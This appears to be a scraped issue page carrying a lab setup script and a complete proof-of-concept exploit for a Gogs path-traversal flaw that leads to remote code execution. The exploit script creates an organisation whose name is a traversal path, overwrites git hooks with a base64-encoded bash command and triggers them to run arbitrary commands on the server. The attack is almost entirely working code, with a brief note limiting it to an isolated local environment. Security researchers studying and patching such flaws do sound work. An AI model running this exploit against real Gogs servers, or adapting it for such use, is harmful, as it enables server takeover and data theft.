"use_builtin_ssh_server": "",
|
||||
"http_port": "3000",
|
||||
"app_url": f"{GOGS_BASE}/",
|
||||
"log_root_path": "/app/gogs/log",
|
||||
"enable_console_mode": "on",
|
||||
"default_branch": "master",
|
||||
"smtp_host": "",
|
||||
"smtp_from": "",
|
||||
"smtp_user": "",
|
||||
"smtp_passwd": "",
|
||||
"register_confirm": "off",
|
||||
"mail_notify": "off",
|
||||
"offline_mode": "on",
|
||||
"disable_gravatar": "on",
|
||||
"enable_federated_avatar": "off",
|
||||
"disable_registration": "off",
|
||||
"enable_captcha": "off",
|
||||
"require_sign_in_view": "off",
|
||||
"admin_name": ADMIN_USER,
|
||||
"admin_passwd": ADMIN_PASS,
|
||||
"admin_confirm_passwd": ADMIN_PASS,
|
||||
"admin_email": ADMIN_EMAIL,
|
||||
}
|
||||
if csrf:
|
||||
form["_csrf"] = csrf
|
||||
r = s.post(f"{GOGS_BASE}/install", data=form, allow_redirects=False, timeout=30)
|
||||
print("[install] POST /install ->", r.status_code, r.headers.get("Location", ""))
|
||||
|
||||
|
||||
def install_done() -> bool:
|
||||
r = s.get(f"{GOGS_BASE}/", allow_redirects=False, timeout=10)
|
||||
loc = r.headers.get("Location", "")
|
||||
# Once configured, / no longer redirects to /install
|
||||
return not loc.endswith("/install")
|
||||
|
||||
|
||||
def admin_token() -> str:
|
||||
# Gogs restarts internally right after install; basic auth may 401 briefly.
|
||||
# Use a FRESH session so install-flow cookies don't shadow HTTP basic auth.
|
||||
fs = requests.Session()
|
||||
last = None
|
||||
for _ in range(20):
|
||||
r = fs.post(
|
||||
f"{GOGS_BASE}/api/v1/users/{ADMIN_USER}/tokens",
|
||||
auth=(ADMIN_USER, ADMIN_PASS),
|
||||
json={"name": "bootstrap"},
|
||||
timeout=10,
|
||||
)
|
||||
if r.ok:
|
||||
print("[admin] create token ->", r.status_code)
|
||||
sha1 = r.json().get("sha1")
|
||||
if not sha1:
|
||||
raise SystemExit("admin token response missing sha1")
|
||||
return sha1
|
||||
last = f"{r.status_code} {r.text[:120]}"
|
||||
time.sleep(2)
|
||||
raise SystemExit(f"admin token creation failed after retries: {last}")
|
||||
|
||||
|
||||
def create_attacker(token: str) -> None:
|
||||
fs = requests.Session()
|
||||
r = fs.post(
|
||||
f"{GOGS_BASE}/api/v1/admin/users",
|
||||
headers={"Authorization": f"token {token}"},
|
||||
json={
|
||||
"username": ATTACKER_USER,
|
||||
"email": ATTACKER_EMAIL,
|
||||
"password": ATTACKER_PASS,
|
||||
"source_id": 0,
|
||||
"login_name": "",
|
||||
},
|
||||
timeout=10,
|
||||
)
|
||||
print("[admin] create attacker ->", r.status_code)
|
||||
if r.status_code == 422:
|
||||
print(" (already exists?)", r.text[:200])
|
||||
return
|
||||
r.raise_for_status()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
print("waiting for Gogs to come up...")
|
||||
wait_for(f"{GOGS_BASE}/", want_installable=True)
|
||||
do_install()
|
||||
# Gogs restarts internally after install; wait until it stops redirecting to /install
|
||||
deadline = time.time() + 120
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
if install_done():
|
||||
break
|
||||
except requests.RequestException:
|
||||
pass
|
||||
time.sleep(2)
|
||||
else:
|
||||
raise SystemExit("install did not complete in time")
|
||||
|
||||
# Let Gogs finish its post-install internal restart before hitting the API.
|
||||
time.sleep(8)
|
||||
|
||||
token = admin_token()
|
||||
create_attacker(token)
|
||||
print("setup complete: admin=gogs attacker=attacker")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
```
|
||||
### 3. gogs-rce.py(路径穿越 → RCE 利用链)
|
||||
```
|
||||
"""PoC for GHSA-c39w-43gm-34h5 / CVE-2026-52813 Path Traversal in organization name -> RCE via Git hooks (Gogs < 0.14.3).Adapted from the advisory's gist (https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9)for an attacker running on Windows. Two changes vs. the original: 1. We overwrite the *already-executable* `post-receive` hook (created by Gogs' `git init` at mode 100755) instead of creating a *new* `update` hook. Reason: Windows git has core.fileMode=false, so a freshly-added file is staged as 100644 (non-executable) and git refuses to run it. Modifying an existing 100755 file preserves the executable bit through `git add`/push. We still also write `update` so the PoC works unchanged on a Linux attacker host. 2. We force a writer-repo resync right after creating the traversal repo, so the writer's git tree (and thus our clone) already contains `nested/<rce>.git/hooks/` with executable hooks before we overwrite them."""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import tempfile
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from urllib.parse import quote, urlsplit, urlunsplit
|
||||
from base64 import b64encode
|
||||
|
||||
import requests
|
||||
|
||||
GOGS_BASE = "http://localhost:3000"
|
||||
USERNAME = "attacker"
|
||||
PASSWORD = "attacker"
|
||||
COMMAND = "id"
|
||||
|
||||
REPO_NAME = f"rce-{uuid.uuid4().hex[:8]}"
|
||||
WRITER_REPO_NAME = f"writer-{uuid.uuid4().hex[:8]}"
|
||||
ORG_NAME = "nested"
|
||||
CMD_OUTPUT = "pwned"
|
||||
HOOK_BODY = f"echo '{b64encode(COMMAND.encode()).decode()}' | base64 -d | bash > {CMD_OUTPUT}\n"
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
|
||||
def e(part: str) -> str:
|
||||
return quote(part, safe="")
|
||||
|
||||
|
||||
def _csrf_from_meta(html: str) -> str:
|
||||
m = re.search(r'<meta name="_csrf" content="([^"]+)"', html)
|
||||
if not m:
|
||||
raise SystemExit("missing _csrf meta in HTML")
|
||||
return m.group(1)
|
||||
|
||||
|
||||
def _web_login() -> None:
|
||||
login_url = f"{GOGS_BASE}/user/login"
|
||||
r = s.get(login_url)
|
||||
r.raise_for_status()
|
||||
csrf = _csrf_from_meta(r.text)
|
||||
r = s.post(
|
||||
login_url,
|
||||
data={"_csrf": csrf, "user_name": USERNAME, "password": PASSWORD, "login_source": "0"},
|
||||
)
|
||||
r.raise_for_status()
|
||||
|
||||
|
||||
def add_file_via_web_editor(username: str, repo_name: str, path: str, content: str, *, branch: str = "master") -> None:
|
||||
saved_auth = s.headers.pop("Authorization", None)
|
||||
try:
|
||||
_web_login()
|
||||
new_url = f"{GOGS_BASE}/{username}/{repo_name}/_new/{branch}/"
|
||||
r = s.get(new_url)
|
||||
r.raise_for_status()
|
||||
page = r.text
|
||||
csrf = _csrf_from_meta(page)
|
||||
m = re.search(r'name="last_commit"\s+value="([^"]+)"', page)
|
||||
if not m:
|
||||
raise SystemExit("missing last_commit on new-file page")
|
||||
r = s.post(
|
||||
new_url,
|
||||
data={
|
||||
"_csrf": csrf, "last_commit": m.group(1), "tree_path": path,
|
||||
"content": content, "commit_summary": "", "commit_message": "",
|
||||
"commit_choice": "direct", "new_branch_name": "",
|
||||
},
|
||||
)
|
||||
r.raise_for_status()
|
||||
finally:
|
||||
if saved_auth is not None:
|
||||
s.headers["Authorization"] = saved_auth
|
||||
|
||||
|
||||
def _writer_repo_id() -> int:
|
||||
r = s.get(f"{GOGS_BASE}/api/v1/repos/{USERNAME}/{WRITER_REPO_NAME}")
|
||||
r.raise_for_status()
|
||||
rid = r.json().get("id")
|
||||
if rid is None:
|
||||
raise SystemExit("GET writer repo: missing id in JSON")
|
||||
return int(rid)
|
||||
|
||||
|
||||
def _authed_git_clone_url() -> str:
|
||||
p = urlsplit(GOGS_BASE)
|
||||
repo_path = f"{p.path.rstrip('/')}/{USERNAME}/{WRITER_REPO_NAME}.git"
|
||||
return urlunsplit((p.scheme, f"{USERNAME}:{PASSWORD}@{p.netloc}", repo_path, "", ""))
|
||||
|
||||
|
||||
def _git_run(args: list[str], *, cwd: str | None = None) -> None:
|
||||
env = os.environ.copy()
|
||||
env.setdefault("GIT_TERMINAL_PROMPT", "0")
|
||||
subprocess.run(args, check=True, cwd=cwd, env=env)
|
||||
|
||||
|
||||
def _put_file_contents_api(owner: str, reponame: str, file_path: str, text: str, message: str) -> None:
|
||||
url = f"{GOGS_BASE}/api/v1/repos/{e(owner)}/{reponame}/contents/{quote(file_path, safe='/')}"
|
||||
r = s.put(url, json={"message": message, "content": base64.standard_b64encode(text.encode()).decode(), "branch": "master"})
|
||||
r.raise_for_status()
|
||||
|
||||
|
||||
def _apply_api_token() -> None:
|
||||
tok = s.post(f"{GOGS_BASE}/api/v1/users/{USERNAME}/tokens", auth=(USERNAME, PASSWORD), json={"name": f"poc-{uuid.uuid4().hex[:12]}"})
|
||||
tok.raise_for_status()
|
||||
sha1 = tok.json().get("sha1")
|
||||
if not sha1:
|
||||
raise SystemExit("token response missing sha1")
|
||||
s.headers["Authorization"] = f"token {sha1}"
|
||||
|
||||
|
||||
def main() -> None:
|
||||
_apply_api_token()
|
||||
print("step 1 token ok")
|
||||
|
||||
cw = s.post(f"{GOGS_BASE}/api/v1/user/repos", json={
|
||||
"name": WRITER_REPO_NAME, "description": "personal writer repo for poc",
|
||||
"private": False, "auto_init": True, "readme": "Default",
|
||||
})
|
||||
cw.raise_for_status()
|
||||
print("step 2 create writer repo", cw.status_code, cw.json().get("full_name"))
|
||||
|
||||
add_file_via_web_editor(USERNAME, WRITER_REPO_NAME, "dummy", "dummy")
|
||||
print("step 3 web editor new file on", USERNAME, "/", WRITER_REPO_NAME)
|
||||
|
||||
n = _writer_repo_id()
|
||||
print("step 4 writer repo -> local-r", n)
|
||||
|
||||
org_name = f"../../../../data/gogs/data/tmp/local-r/{n}/" + ORG_NAME
|
||||
co = s.post(f"{GOGS_BASE}/api/v1/user/orgs", json={"username": org_name, "full_name": "deep"})
|
||||
co.raise_for_status()
|
||||
print("step 5 create org", co.status_code, "username", co.json().get("username"))
|
||||
|
||||
s.get(f"{GOGS_BASE}/api/v1/orgs/{e(org_name)}").raise_for_status()
|
||||
print("step 6 get org ok")
|
||||
|
||||
cr = s.post(f"{GOGS_BASE}/api/v1/org/{e(org_name)}/repos", json={
|
||||
"name": REPO_NAME, "description": "poc", "private": False, "auto_init": True, "readme": "Default",
|
||||
})
|
||||
cr.raise_for_status()
|
||||
print("step 7 create rce repo", cr.status_code, "full_name", cr.json().get("full_name"))
|
||||
|
||||
s.get(f"{GOGS_BASE}/api/v1/repos/{e(org_name)}/{REPO_NAME}").raise_for_status()
|
||||
print("step 8 get rce repo ok")
|
||||
|
||||
# Resync the writer worktree so nested/<rce>.git/ (with executable hooks) is committed
|
||||
# into the writer tree BEFORE we clone + overwrite the hooks.
|
||||
_put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync1.txt", "resync after rce create\n", "poc: resync1")
|
||||
print("step 9 writer resync (commit nested/<rce>.git into writer tree)")
|
||||
|
||||
hook_paths = [Path(ORG_NAME) / f"{REPO_NAME}.git" / "hooks" / h for h in ("post-receive", "update")]
|
||||
clone_dir = tempfile.mkdtemp(prefix="poc-writer-")
|
||||
_git_run(["git", "clone", _authed_git_clone_url(), clone_dir])
|
||||
print("step 10 clone writer ->", clone_dir)
|
||||
_git_run(["git", "config", "user.email", "[email protected]"], cwd=clone_dir)
|
||||
_git_run(["git", "config", "user.name", "poc"], cwd=clone_dir)
|
||||
for hp in hook_paths:
|
||||
full = Path(clone_dir) / hp
|
||||
full.parent.mkdir(parents=True, exist_ok=True)
|
||||
full.write_text(HOOK_BODY, encoding="utf-8")
|
||||
_git_run(["git", "add", "-A"], cwd=clone_dir)
|
||||
_git_run(["git", "commit", "-m", f"poc: overwrite {ORG_NAME}/{REPO_NAME}.git hooks"], cwd=clone_dir)
|
||||
print("step 11 write hooks:", ", ".join(str(hp) for hp in hook_paths), "->", HOOK_BODY.strip())
|
||||
_git_run(["git", "push", "origin", "master"], cwd=clone_dir)
|
||||
print("step 12 push writer")
|
||||
|
||||
# Resync again: propagate the malicious (executable) post-receive onto disk in the rce bare repo.
|
||||
_put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync2.txt", "propagate hook\n", "poc: resync2")
|
||||
print("step 13 writer resync (propagate malicious hook to rce bare on disk)")
|
||||
|
||||
# Trigger the rce repo: Gogs pushes to it -> our post-receive fires -> CMD_OUTPUT is written.
|
||||
_put_file_contents_api(org_name, REPO_NAME, "trigger.txt", "trigger the hook\n", "poc: trigger rce")
|
||||
print("step 14 trigger rce repo (hook should fire)")
|
||||
|
||||
# Resync writer so CMD_OUTPUT (now on disk in nested/<rce>.git/) gets committed into the writer tree.
|
||||
_put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync3.txt", "commit output\n", "poc: resync3")
|
||||
print("step 15 writer resync (commit CMD_OUTPUT into writer tree)")
|
||||
|
||||
url = f"{GOGS_BASE}/{USERNAME}/{WRITER_REPO_NAME}/raw/master/{ORG_NAME}/{REPO_NAME}.git/{CMD_OUTPUT}"
|
||||
r = s.get(url)
|
||||
print("step 16 GET raw output", r.status_code, url)
|
||||
r.raise_for_status()
|
||||
print("\n=== COMMAND OUTPUT ===")
|
||||
print(r.text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
> 运行顺序:docker compose up -d
|
||||
→ python setup.py
|
||||
→ python gogs-rce.py
|
||||
。修改 gogs-rce.py
|
||||
顶部的 COMMAND
|
||||
即可改变执行的命令。再次强调,请仅在本地隔离环境验证。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user